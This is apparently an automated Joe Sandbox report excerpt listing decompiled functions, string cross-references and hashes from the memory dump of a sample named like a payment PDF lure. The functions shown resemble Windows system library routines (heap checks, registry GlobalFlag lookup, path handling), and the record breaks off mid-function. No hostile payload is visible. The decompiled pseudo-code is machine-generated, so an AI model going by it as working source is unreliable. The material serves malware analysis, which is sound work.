0x3351d664
0x3351d73a
0x3351d73f
0x3351d74c
0x3351d756
0x00000000
0x3351d756
0x3351d751
0x00000000
0x3351d741
0x3351d741
0x3351d745
0x3351d745
0x3351d758
0x3351d75a
0x3351d75c
0x3351d764
0x3351d767
0x3351d76c
0x3351d772
0x00000000
0x00000000
0x3351d77f
0x3351d79f
0x3351d7a4
0x3351d781
0x3351d797
0x3351d79c
0x3351d7ad
0x3351d7b0
0x3351d7b7
0x3351d7c9
0x3351d7cb
0x3351d7d2
0x3351d7d3
0x3351d7d3
0x3351d7da
0x00000000
0x3351d7da

Strings

HEAP: , xrefs: 3351D79F
Heap block at %p modified at %p past requested size of %Ix, xrefs: 3351D7B2
HEAP[%wZ]: , xrefs: 3351D792

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: d727a8832591092fe7cca2e3bb80ea01f4c5d863b5ac631aab6e06ebe7c2f619
Instruction ID: 03eb654469e75d7f9c59e9deb0fb0664474d2a2adb977027ed27b5b3437f4f13
Opcode Fuzzy Hash: d727a8832591092fe7cca2e3bb80ea01f4c5d863b5ac631aab6e06ebe7c2f619
Instruction Fuzzy Hash: B151347E9103508EFB10EF29E840B7273E1DB45284F554C8EE4C58B685DB3AE867DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 3347A1E3 Relevance: 3.9, Strings: 3, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E3347A1E3(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, signed int* _a8, intOrPtr _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				short _v22;
				char _v24;
				char* _v28;
				short _v30;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t34;
				short _t35;
				signed int* _t37;
				signed char* _t38;
				signed int _t39;
				signed char* _t40;
				intOrPtr* _t43;
				void* _t45;
				signed int _t46;
				signed int _t47;
				signed int _t49;
				signed int _t53;
				signed char* _t58;
				short _t61;
				intOrPtr* _t63;
				intOrPtr _t68;
				signed int _t71;
				signed int _t72;

				_v16 = __edx;
				_t72 = 0;
				_t68 = __ecx;
				_v8 = 0;
				_t61 = 0x42;
				_t34 = 0x44;
				_v22 = _t34;
				_t58 = 0x7ffe0385;
				_t35 = 0x40;
				_v32 = _t35;
				_v12 = __ecx;
				_v24 = _t61;
				_v20 = L"RtlpResUltimateFallbackInfo Enter";
				_t37 =  *( *[fs:0x30] + 0x50);
				_v30 = _t61;
				_v28 = L"RtlpResUltimateFallbackInfo Exit";
				if(_t37 != 0) {
					__eflags =  *_t37;
					if(__eflags == 0) {
						goto L1;
					}
					_t38 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
					L2:
					_t73 = 0x7ffe0384;
					if(( *_t38 & 0x00000001) != 0) {
						_t39 = L33483C40();
						__eflags = _t39;
						if(_t39 == 0) {
							_t40 = 0x7ffe0384;
						} else {
							_t40 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
						}
						L334FFC01( &_v24,  *_t40 & 0x000000ff);
						_t68 = _v12;
					}
					if(_t68 == 0) {
						L28:
						return 0xc000000d;
					} else {
						_t43 = _a4;
						if(_t43 == 0) {
							goto L28;
						}
						_t63 = _a8;
						_t79 = _t63;
						if(_t63 == 0) {
							goto L28;
						}
						 *_t43 = _t72;
						 *_t63 = _t72;
						_t45 = E3347B5E0(_t58, _t72, _t73, _t79, _t68, _v16,  &_v8, _a12, "true");
						if(_t45 >= 0) {
							_t46 = _v8;
							__eflags = _t46;
							if(_t46 == 0) {
								L17:
								_t72 = 0xc0000001;
								L14:
								_t47 = L33483C40();
								__eflags = _t47;
								if(_t47 != 0) {
									_t58 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
								}
								__eflags =  *_t58 & 0x00000001;
								if(( *_t58 & 0x00000001) != 0) {
									_t49 = L33483C40();
									__eflags = _t49;
									if(_t49 != 0) {
										_t73 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
										__eflags =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
									}
									L334FFC01( &_v32,  *_t73 & 0x000000ff);
									goto L16;
								} else {
									L16:
									return _t72;
								}
							}
							__eflags = _t46 - 0xffffffff;
							if(_t46 == 0xffffffff) {
								goto L17;
							}
							__eflags =  *((intOrPtr*)(_t46 + 0x7c)) - _t72;
							if( *((intOrPtr*)(_t46 + 0x7c)) == _t72) {
								goto L17;
							}
							__eflags =  *((intOrPtr*)(_t46 + 0x80)) - _t72;
							if( *((intOrPtr*)(_t46 + 0x80)) == _t72) {
								goto L17;
							}
							_t71 =  *(_t46 + 0x18);
							__eflags = _t71;
							if(_t71 == 0) {
								goto L17;
							}
							_t53 = _t46 +  *((intOrPtr*)(_t46 + 0x7c));
							__eflags = _t53;
							 *_a8 = _t71;
							 *_a4 = _t53;
							goto L14;
						}
						return _t45;
					}
				}
				L1:
				_t38 = _t58;
				goto L2;
			}

0x3347a1f0
0x3347a1f3
0x3347a1f5
0x3347a1f7
0x3347a1fa
0x3347a1fd
0x3347a1fe
0x3347a202
0x3347a209
0x3347a20a
0x3347a214
0x3347a217
0x3347a21b
0x3347a222
0x3347a225
0x3347a229
0x3347a232
0x334d2965
0x334d2967
0x00000000
0x00000000
0x334d2976
0x3347a23a
0x3347a23d
0x3347a242
0x334d2980
0x334d2985
0x334d2987
0x334d2999
0x334d2989
0x334d2992
0x334d2992
0x334d29a1
0x334d29a6
0x334d29a6
0x3347a24a
0x334d29ea
0x00000000
0x3347a250
0x3347a250
0x3347a255
0x00000000
0x00000000
0x3347a25b
0x3347a25e
0x3347a260
0x00000000
0x00000000
0x3347a26b
0x3347a274
0x3347a277
0x3347a27e
0x3347a287
0x3347a28a
0x3347a28c
0x3347a2ce
0x3347a2ce
0x3347a2b4
0x3347a2b4
0x3347a2b9
0x3347a2bb
0x334d29b7
0x334d29b7
0x3347a2c1
0x3347a2c4
0x334d29c2
0x334d29c7
0x334d29c9
0x334d29d4
0x334d29d4
0x334d29d4
0x334d29e0
0x00000000
0x3347a2ca
0x3347a2ca
0x00000000
0x3347a2ca
0x3347a2c4
0x3347a28e
0x3347a291
0x00000000
0x00000000
0x3347a293
0x3347a296
0x00000000
0x00000000
0x3347a298
0x3347a29e
0x00000000
0x00000000
0x3347a2a0
0x3347a2a3
0x3347a2a5
0x00000000
0x00000000
0x3347a2aa
0x3347a2aa
0x3347a2ad
0x3347a2b2
0x00000000
0x3347a2b2
0x3347a284
0x3347a284
0x3347a24a
0x3347a238
0x3347a238
0x00000000

Strings

RtlpResUltimateFallbackInfo Exit, xrefs: 3347A229
@SD3, xrefs: 3347A268
RtlpResUltimateFallbackInfo Enter, xrefs: 3347A21B

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @SD3$RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-65839372
Opcode ID: 08a6d9999d9436ddc881163e1220ab89fe867c74c7292c769b75bcb50af129d1
Instruction ID: 8a6af9a29635521919c6fa3b9f5ca2031bebf8de1a3f024a350cd9ffdbf2dabf
Opcode Fuzzy Hash: 08a6d9999d9436ddc881163e1220ab89fe867c74c7292c769b75bcb50af129d1
Instruction Fuzzy Hash: 4B41ACB9B00744DFEB01CFA9C850B9AB7B4FF45740F1840A9E864DB3A1EA36D941CB19

Uniqueness

Uniqueness Score: -1.00%

Function 334FB214 Relevance: 3.9, Strings: 3, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E334FB214(void* __ecx) {
				char _v8;
				char _v12;
				short _v14;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				intOrPtr _v32;
				char* _v36;
				char _v40;
				char _v44;
				intOrPtr _v576;
				char _v580;
				intOrPtr _t44;
				intOrPtr _t46;
				intOrPtr* _t61;
				void* _t64;
				short _t65;
				void* _t66;
				intOrPtr* _t67;

				_t66 = __ecx;
				_v8 = 0;
				L334B8F40( &_v580, 0, 0x214);
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_push(0);
				_push(0x210);
				_push( &_v580);
				_push(0x2b);
				_push(_t66);
				if((E334B2B20() & 0xc0000000) == 0xc0000000) {
					L9:
					if(_v8 != 0) {
						_push(_v8);
						E334B2A80();
						_v8 = 0;
					}
					_t38 = _v12;
					if(_v12 != 0) {
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t38);
					}
					return _v20;
				}
				_t67 = E334FB39F(_v576);
				if(_t67 == 0) {
					goto L9;
				} else {
					_t61 = _t67;
					_t64 = _t61 + 2;
					goto L3;
					L3:
					_t44 =  *_t61;
					_t61 = _t61 + 2;
					if(_t44 != 0) {
						goto L3;
					} else {
						_t63 = _t61 - _t64 >> 1;
						_t65 = 0xc2 + (_t61 - _t64 >> 1) * 2;
						_t46 = L33485D90(_t61 - _t64 >> 1,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t65);
						_v12 = _t46;
						if(_t46 != 0) {
							_v14 = _t65;
							if(L3347FE40(_t63,  &_v16, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\") >= 0 && L3347FE40(_t63,  &_v16, _t67) >= 0) {
								_v44 = 0x18;
								_v36 =  &_v16;
								_push( &_v44);
								_push("true");
								_v40 = 0;
								_push( &_v8);
								_v32 = 0x40;
								_v28 = 0;
								_v24 = 0;
								if(L334B2AB0() >= 0) {
									L33466CC0(_v8, L"GlobalFlag", "true",  &_v20, "true", 0);
								}
							}
						}
						goto L9;
					}
				}
			}

0x334fb231
0x334fb233
0x334fb236
0x334fb23e
0x334fb247
0x334fb24a
0x334fb24d
0x334fb24e
0x334fb253
0x334fb254
0x334fb256
0x334fb265
0x334fb31c
0x334fb31f
0x334fb321
0x334fb324
0x334fb329
0x334fb329
0x334fb32c
0x334fb331
0x334fb33e
0x334fb33e
0x334fb34a
0x334fb34a
0x334fb276
0x334fb27a
0x00000000
0x334fb280
0x334fb280
0x334fb282
0x334fb282
0x334fb285
0x334fb285
0x334fb288
0x334fb28e
0x00000000
0x334fb290
0x334fb298
0x334fb29a
0x334fb2a6
0x334fb2ab
0x334fb2b0
0x334fb2ba
0x334fb2c6
0x334fb2d9
0x334fb2e0
0x334fb2e6
0x334fb2e7
0x334fb2ec
0x334fb2ef
0x334fb2f0
0x334fb2f7
0x334fb2fa
0x334fb304
0x334fb317
0x334fb317
0x334fb304
0x334fb2c6
0x00000000
0x334fb2b0
0x334fb28e

Strings

@, xrefs: 334FB2F0
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 334FB2B2
GlobalFlag, xrefs: 334FB30F

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
API String ID: 0-4192008846
Opcode ID: 9efc497f492b988fd871906f9c10ed0f14d45a214bbda5af629423f0dbf7f610
Instruction ID: 2b6d5affb3715bbcd5c6d104dd8432b5f2aaeaeb2b2ab5711659b1d088316fe6
Opcode Fuzzy Hash: 9efc497f492b988fd871906f9c10ed0f14d45a214bbda5af629423f0dbf7f610
Instruction Fuzzy Hash: 00314DB5D40209AFDB10DF94DC80AEEBBBCEF44744F58046DE611EB641D7759A04CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 334851C0 Relevance: 3.2, Strings: 2, Instructions: 658
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E334851C0(signed int _a4, signed short _a8, signed int _a12, signed short _a16, intOrPtr _a20, intOrPtr* _a24, signed short _a28, signed int _a32, signed int* _a36) {
				signed int _v8;
				char _v532;
				void* _v568;
				signed int _v616;
				intOrPtr _v632;
				signed int _v660;
				void* _v664;
				intOrPtr _v668;
				intOrPtr _v672;
				signed int _v676;
				void* _v680;
				signed int _v692;
				signed int _v696;
				signed short _v700;
				signed int _v704;
				intOrPtr _v708;
				signed int _v712;
				signed short _v716;
				signed int _v720;
				signed int _v724;
				intOrPtr _v728;
				signed int _v732;
				signed int* _v736;
				signed int _v740;
				signed short _v744;
				void* _v748;
				signed int _v752;
				signed short _v756;
				signed short _v760;
				signed int _v764;
				void* _v768;
				void* _v772;
				void* _v776;
				void* _v780;
				void* _v782;
				void* _v784;
				void* _v788;
				void* _v792;
				void* _v796;
				void* _v798;
				void* _v800;
				void* _v802;
				void* _v804;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t223;
				signed short _t224;
				signed short* _t226;
				signed short _t229;
				unsigned int _t233;
				signed int _t237;
				signed int _t240;
				signed short _t244;
				signed short _t250;
				signed short _t255;
				signed short _t257;
				signed short _t261;
				signed short _t270;
				signed int _t271;
				signed short _t272;
				signed int _t273;
				unsigned int _t274;
				signed short* _t276;
				signed int _t280;
				unsigned int _t281;
				signed int _t299;
				intOrPtr _t301;
				void* _t305;
				signed short* _t313;
				signed int _t315;
				intOrPtr _t317;
				intOrPtr _t322;
				signed int _t330;
				intOrPtr* _t332;
				void* _t333;
				intOrPtr _t336;
				signed int _t337;
				intOrPtr _t338;
				signed short* _t339;
				signed short _t340;
				signed int _t343;
				signed short _t344;
				signed short _t346;
				short* _t347;
				signed int _t360;
				signed int _t361;
				signed int _t362;
				signed int _t367;
				signed short _t369;
				signed int _t370;
				signed int _t372;
				signed short _t376;
				signed short _t377;
				signed int _t386;
				signed int _t396;
				signed short* _t398;
				signed int _t400;
				signed int _t401;
				signed int _t402;
				signed int _t403;
				signed int _t408;
				signed int _t410;
				void* _t411;
				signed int _t412;
				intOrPtr _t413;
				signed short _t418;
				void* _t420;
				signed short _t421;
				signed short _t422;
				short* _t423;
				intOrPtr _t424;
				void* _t425;
				void* _t426;
				signed int _t427;
				signed int _t429;

				_t429 = (_t427 & 0xfffffff8) - 0x2fc;
				_v8 =  *0x3356b370 ^ _t429;
				_t340 = _a8;
				_t389 = _a32;
				_t332 = _a24;
				_v756 = _a16;
				_v728 = _a20;
				_t223 = _a28;
				_v736 = _a36;
				_v744 = _t340;
				_v748 = _t332;
				_v716 = _t223;
				_v720 = _t389;
				_v740 = 0;
				_v732 = 0;
				_v764 = 0x2080000;
				_v760 =  &_v532;
				_t410 = _a12;
				_v712 = _t410;
				if(_t223 != 0) {
					 *_t223 = 0;
				}
				_t418 = _v756;
				if(_v736 != 0) {
					 *_v736 = 0;
					_t418 = _v756;
				}
				if(_t389 != 0) {
					 *_t389 = 0;
				}
				if(_t332 != 0) {
					_t389 = 0;
					 *_t332 = 0;
					 *((intOrPtr*)(_t332 + 4)) = 0;
				}
				if((_a4 & 0xfffffff8) != 0 || _t340 == 0 || _t410 == 0 || _v728 != 0 && _t332 != 0 && _t223 == 0) {
					_t224 = 0xc000000d;
					goto L48;
				} else {
					_t343 =  *_t410 & 0x0000ffff;
					_t226 =  *(_t410 + 4);
					if(_t343 < 2) {
						L15:
						if(_t343 < 4 ||  *_t226 == 0 || _t226[1] != 0x3a) {
							_t389 = 5;
						} else {
							if(_t343 < 6) {
								L127:
								_t389 = 3;
								L21:
								_v724 = _t389;
								if((_a4 & 0x00000002) == 0) {
									__eflags = _t389 - 5;
									if(_t389 == 5) {
										L53:
										__eflags = _a4 & 0x00000001;
										if((_a4 & 0x00000001) != 0) {
											_v696 = 0;
											_t421 = L33489870("true", _t410, _t418, _v728, _t332,  &_v696, 0, _v720, _v736);
											__eflags = _t421;
											if(_t421 >= 0) {
												_t344 = _v716;
												__eflags = _t344;
												if(_t344 != 0) {
													 *_t344 = _v696;
												}
												L50:
												_t421 = 0;
												L45:
												_t229 = _v760;
												if(_t229 != 0 && _t229 !=  &_v532) {
													E33483B90( &_v764);
												}
												_t224 = _t421;
												L48:
												_pop(_t411);
												_pop(_t420);
												_pop(_t333);
												return E334B4B50(_t224, _t333, _v8 ^ _t429, _t389, _t411, _t420);
											}
											__eflags = _t421 - 0xc0150008;
											if(_t421 != 0xc0150008) {
												goto L45;
											}
											_t418 = _v756;
										}
										__eflags = _t418;
										if(_t418 == 0) {
											L64:
											_t346 = _v744;
											_t233 =  *_t346 & 0x0000ffff;
											_t422 = _t233;
											_v704 = _t422;
											__eflags = _t233;
											if(_t233 == 0) {
												L77:
												_t389 = _v732 & 0x0000ffff;
												_v752 = _t389;
												_t237 = ( *_t410 & 0x0000ffff) + _t389 + _v740 + 2;
												_t336 = _v748;
												_v704 = _t237;
												__eflags = _t237 - 0xfffe;
												if(_t237 > 0xfffe) {
													_t421 = 0xc0000106;
													goto L45;
												}
												_t347 =  *((intOrPtr*)(_t346 + 4));
												_v748 = _t347;
												_t240 = _t347 + ((_t422 & 0x0000ffff) >> 1) * 2;
												_v712 = _t240;
												__eflags = _t347 - _t240;
												if(_t347 >= _t240) {
													L44:
													_t421 = 0xc000000f;
													goto L45;
												} else {
													goto L79;
												}
												while(1) {
													L79:
													_t423 = _t347;
													__eflags = _t347 - _t240;
													if(_t347 == _t240) {
														goto L82;
													} else {
														goto L80;
													}
													while(1) {
														L80:
														__eflags =  *_t423 - 0x3b;
														if( *_t423 == 0x3b) {
															goto L82;
														}
														_t423 = _t423 + 2;
														__eflags = _t423 - _t240;
														if(_t423 != _t240) {
															continue;
														}
														goto L82;
													}
													L82:
													_t244 = _t423 - _t347 & 0xfffe;
													_v744 = _t244;
													_v732 = _t244 & 0x0000ffff;
													__eflags = _t244;
													if(_t244 != 0) {
														_t360 =  *(_t423 - 2) & 0x0000ffff;
														__eflags = _t360 - 0x5c;
														if(_t360 != 0x5c) {
															__eflags = _t360 - 0x2f;
															if(_t360 != 0x2f) {
																_t244 = _t244 + 2;
																__eflags = _t244;
																_v744 = _t244;
															}
														}
													}
													_t389 = _t389 + ( *_t410 & 0x0000ffff) + (_t244 & 0x0000ffff);
													__eflags = ( *(_t429 + 0x12) & 0x0000ffff) - _t389 + 2;
													if(( *(_t429 + 0x12) & 0x0000ffff) < _t389 + 2) {
														__eflags = _v760 -  &_v532;
														if(_v760 !=  &_v532) {
															goto L163;
														}
														__eflags = _t389 - 0xfffc;
														if(_t389 > 0xfffc) {
															goto L163;
														}
														 *((short*)(_t429 + 0x16)) = _v704 & 0x0000ffff;
														_t250 = L33485D60(_v704 & 0x0000ffff);
														_v764 = _t250;
														__eflags = _t250;
														if(_t250 == 0) {
															L149:
															_t224 = 0xc0000017;
															goto L48;
														}
														goto L87;
													} else {
														L87:
														_v764 = 0;
														L3349DCDF( &_v764, _v748, _v732 & 0x0000ffff);
														_t255 = _v748;
														__eflags = _t255;
														if(_t255 != 0) {
															__eflags = _v732 - _t255;
															if(_v732 != _t255) {
																 *((short*)(_v760 + ((_v764 & 0x0000ffff) >> 1) * 2)) = 0x5c;
																_t144 =  &_v764;
																 *_t144 = _v764 + 2;
																__eflags =  *_t144;
															}
														}
														L3349DD46( &_v764, _t410);
														_t257 = _v756;
														__eflags = _t257;
														if(_t257 != 0) {
															L3349DD46( &_v764, _t257);
														}
														_t389 = _v764 & 0x0000ffff;
														__eflags = _t389 + 2 - ( *(_t429 + 0x12) & 0x0000ffff);
														if(__eflags > 0) {
															L163:
															_t421 = 0xc00000e5;
															goto L45;
														} else {
															 *((short*)(_v760 + (_t389 >> 1) * 2)) = 0;
															_t389 = 0;
															_t261 = E334A31BE( &_v764, 0, __eflags);
															__eflags = _t261;
															if(_t261 != 0) {
																_push(_v736);
																_push( &_v724);
																_push(0);
																_push(_v720);
																_push(_v716);
																_push(_t336);
																L106:
																_push(_v728);
																_push( &_v764);
																_t421 = E33489690();
																__eflags = _t421;
																if(_t421 >= 0) {
																	_t421 = 0;
																}
																goto L45;
															}
															_t240 = _v712;
															__eflags = _t423 - _t240;
															if(_t423 == _t240) {
																_t347 = _t423;
																_v748 = _t423;
															} else {
																_t156 = _t423 + 2; // 0x3a
																_t347 = _t156;
																_v748 = _t347;
															}
															__eflags = _t347 - _t240;
															if(_t347 >= _t240) {
																goto L44;
															} else {
																_t389 = _v752;
																continue;
															}
														}
													}
												}
											}
											_t424 =  *((intOrPtr*)(_t346 + 4));
											_t361 = _t424 + (_t233 >> 1) * 2;
											_t396 = _t361;
											__eflags = _t396 - _t424;
											if(_t396 <= _t424) {
												L70:
												_t270 = _t361 - _t396 >> 0x00000001 & 0x0000ffff;
												__eflags = _t270;
												if(_t270 != 0) {
													_t362 =  *(_t361 - 2) & 0x0000ffff;
													__eflags = _t362 - 0x5c;
													if(_t362 != 0x5c) {
														__eflags = _t362 - 0x2f;
														if(_t362 != 0x2f) {
															_t270 = _t270 + 1;
															__eflags = _t270;
														}
													}
												}
												_t271 = _t270 & 0x0000ffff;
												__eflags = _t271 - _v740;
												if(_t271 <= _v740) {
													_t271 = _v740;
												}
												_t346 = _v744;
												_t272 = _t271 + _t271;
												__eflags = _t272;
												_t422 = _v704;
												_v740 = _t272;
												goto L77;
											} else {
												_t273 = _t396 - 2;
												_t412 = _t361;
												goto L67;
												L67:
												__eflags =  *_t273 - 0x3b;
												if( *_t273 == 0x3b) {
													_t367 = _t412 - _t396 + 0x00000002 >> 0x00000001 & 0x0000ffff;
													_v752 = _t367;
													_t369 = _t367 - 0x00000001 & 0x0000ffff;
													__eflags = _t369;
													if(_t369 != 0) {
														_t337 =  *(_t412 - 2) & 0x0000ffff;
														__eflags = _t337 - 0x5c;
														if(_t337 != 0x5c) {
															__eflags = _t337 - 0x2f;
															if(_t337 != 0x2f) {
																_t369 = _v752 & 0x0000ffff;
															}
														}
													}
													_t370 = _t369 & 0x0000ffff;
													__eflags = _t370 - _v740;
													if(_t370 > _v740) {
														_v740 = _t370;
													}
													_t412 = _t273;
												}
												_t396 = _t396 - 2;
												_t273 = _t273 - 2;
												__eflags = _t396 - _t424;
												if(_t396 > _t424) {
													goto L67;
												} else {
													_v752 = _t412;
													_t410 = _v712;
													_t361 = _v752;
													goto L70;
												}
											}
										}
										_t274 =  *_t410 & 0x0000ffff;
										_v732 =  *_t418 & 0x0000ffff;
										__eflags = _t274;
										if(_t274 == 0) {
											goto L64;
										}
										_t398 =  *(_t410 + 4);
										_t276 =  &(_t398[_t274 >> 1]);
										__eflags = _t276 - _t398;
										if(_t276 > _t398) {
											while(1) {
												_t372 =  *(_t276 - 2) & 0x0000ffff;
												_t276 = _t276 - 2;
												__eflags = _t372 - 0x2e;
												if(_t372 == 0x2e) {
													_v756 = 0;
													_v732 = 0;
													goto L64;
												}
												__eflags = _t372 - 0x5c;
												if(_t372 == 0x5c) {
													goto L64;
												}
												__eflags = _t372 - 0x2f;
												if(_t372 == 0x2f) {
													goto L64;
												}
												__eflags = _t276 - _t398;
												if(_t276 > _t398) {
													continue;
												} else {
													goto L64;
												}
											}
										}
										goto L64;
									}
									L23:
									_t389 = _t410;
									if(L334858B0(2, _t410, 0,  &_v704, 0, 0,  &_v692) < 0) {
										L31:
										if(_t418 == 0) {
											goto L44;
										}
										_t280 =  *_t418 & 0x0000ffff;
										if(_t280 == 0) {
											goto L44;
										}
										_t389 = _t280;
										if((_a4 & 0x00000004) == 0) {
											_t281 =  *_t410 & 0x0000ffff;
											__eflags = _t281;
											if(_t281 == 0) {
												goto L34;
											}
											_t339 =  *(_t410 + 4);
											_t313 =  &(_t339[_t281 >> 1]);
											__eflags = _t313 - _t339;
											if(_t313 <= _t339) {
												goto L34;
											} else {
												goto L142;
											}
											while(1) {
												L142:
												_t386 =  *(_t313 - 2) & 0x0000ffff;
												_t313 = _t313 - 2;
												__eflags = _t386 - 0x5c;
												if(_t386 == 0x5c) {
													goto L34;
												}
												__eflags = _t386 - 0x2f;
												if(_t386 == 0x2f) {
													goto L34;
												}
												__eflags = _t386 - 0x2e;
												if(_t386 == 0x2e) {
													goto L44;
												}
												__eflags = _t313 - _t339;
												if(_t313 > _t339) {
													continue;
												}
												goto L34;
											}
										}
										L34:
										_t376 = ( *_t410 & 0x0000ffff) + 2 + _t389;
										if(_t376 > 0xfffe) {
											_t421 = 0xc0000106;
											goto L45;
										}
										if(_t376 > ( *(_t429 + 0x12) & 0x0000ffff)) {
											 *((short*)(_t429 + 0x16)) = _t376 & 0x0000ffff;
											_t377 = L33485D60(_t376 & 0x0000ffff);
											_v764 = _t377;
											__eflags = _t377;
											if(_t377 != 0) {
												goto L37;
											}
											goto L149;
										} else {
											_t377 = _v760;
											L37:
											L334B88C0(_t377,  *(_t410 + 4),  *_t410 & 0x0000ffff);
											L334B88C0(_v760 + (( *_t410 & 0x0000ffff) >> 1) * 2,  *((intOrPtr*)(_t418 + 4)),  *_t418 & 0x0000ffff);
											_t429 = _t429 + 0x18;
											 *((short*)(_v760 + (( *_t418 & 0x0000ffff) + ( *_t410 & 0x0000ffff) >> 1) * 2)) = 0;
											_v764 =  *_t418 +  *_t410;
											_t389 =  &_v764;
											if(L334858B0(2,  &_v764, 0,  &_v712, 0, 0,  &_v676) < 0) {
												goto L44;
											}
											_t299 = _v676;
											_t413 = _v708;
											if(_t299 != 0) {
												_v712 = _t299;
												_v708 = _v672;
												_t301 = _v668;
											} else {
												_t301 = 0;
											}
											_v632 = _t301;
											 *((intOrPtr*)(_t429 + 0x98)) =  &_v712;
											_push(_t429 + 0xd0);
											 *(_t429 + 0x94) = 0x18;
											_push(_t429 + 0x94);
											 *((intOrPtr*)(_t429 + 0xa4)) = 0x40;
											 *(_t429 + 0xa8) = 0;
											_v616 = 0;
											_t305 = L334B2D80();
											_t338 = _v672;
											_t425 = _t305;
											if(_t338 != 0) {
												__eflags = 0xffffffffffffffff;
												asm("lock xadd [ebx], ecx");
												if(0xffffffffffffffff == 0) {
													_push( *((intOrPtr*)(_t338 + 4)));
													E334B2A80();
													E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t338);
												}
											}
											E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t413);
											if(_t425 >= 0 || _t425 == 0xc0000043 || _t425 == 0xc0000022) {
												_push(_v736);
												_push( &_v724);
												_push(0);
												_push(_v720);
												_push(_v716);
												_push(_v748);
												goto L106;
											} else {
												goto L44;
											}
										}
									}
									_v744 = _v700;
									_t315 = _v692;
									if(_t315 != 0) {
										_v704 = _t315;
										_v700 =  *(_t429 + 0x5c);
										_t317 =  *((intOrPtr*)(_t429 + 0x60));
									} else {
										_t317 = 0;
									}
									 *((intOrPtr*)(_t429 + 0x7c)) = _t317;
									 *((intOrPtr*)(_t429 + 0x80)) =  &_v704;
									_push(_t429 + 0xa8);
									_v660 = 0x18;
									_push( &_v660);
									 *((intOrPtr*)(_t429 + 0x8c)) = 0x40;
									 *(_t429 + 0x90) = 0;
									 *(_t429 + 0x94) = 0;
									_t426 = L334B2D80();
									_t322 =  *((intOrPtr*)(_t429 + 0x64));
									if(_t322 != 0) {
										__eflags = 0xffffffffffffffff;
										asm("lock xadd [eax], ecx");
										if(0xffffffffffffffff == 0) {
											_push( *((intOrPtr*)(_t322 + 4)));
											E334B2A80();
											E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t429 + 0x64)));
										}
									}
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v744);
									if(_t426 >= 0 || _t426 == 0xc0000043 || _t426 == 0xc0000022) {
										_t421 = E33489690(_t410, _v728, _t332, _v716, _v720, 0,  &_v724, _v736);
										__eflags = _t421;
										if(_t421 < 0) {
											goto L45;
										}
										goto L50;
									} else {
										_t418 = _v756;
										goto L31;
									}
								}
								if(_t389 == 5) {
									__eflags = _t343 - 4;
									if(_t343 < 4) {
										goto L53;
									}
									__eflags =  *_t226 - 0x2e;
									if( *_t226 == 0x2e) {
										_t389 = _t226[1] & 0x0000ffff;
										__eflags = _t389 - 0x5c;
										if(_t389 == 0x5c) {
											L134:
											_v724 = 0;
											goto L23;
										}
										__eflags = _t389 - 0x2f;
										if(_t389 == 0x2f) {
											goto L134;
										}
										__eflags = _t389 - 0x2e;
										if(_t389 != 0x2e) {
											goto L53;
										}
										__eflags = _t343 - 6;
										if(_t343 < 6) {
											goto L53;
										}
										_t330 = _t226[2] & 0x0000ffff;
										__eflags = _t330 - 0x5c;
										if(_t330 == 0x5c) {
											goto L134;
										}
										__eflags = _t330 - 0x2f;
										if(_t330 != 0x2f) {
											goto L53;
										}
										goto L134;
									}
									goto L53;
								}
								goto L23;
							}
							_t400 = _t226[2] & 0x0000ffff;
							if(_t400 != 0x5c) {
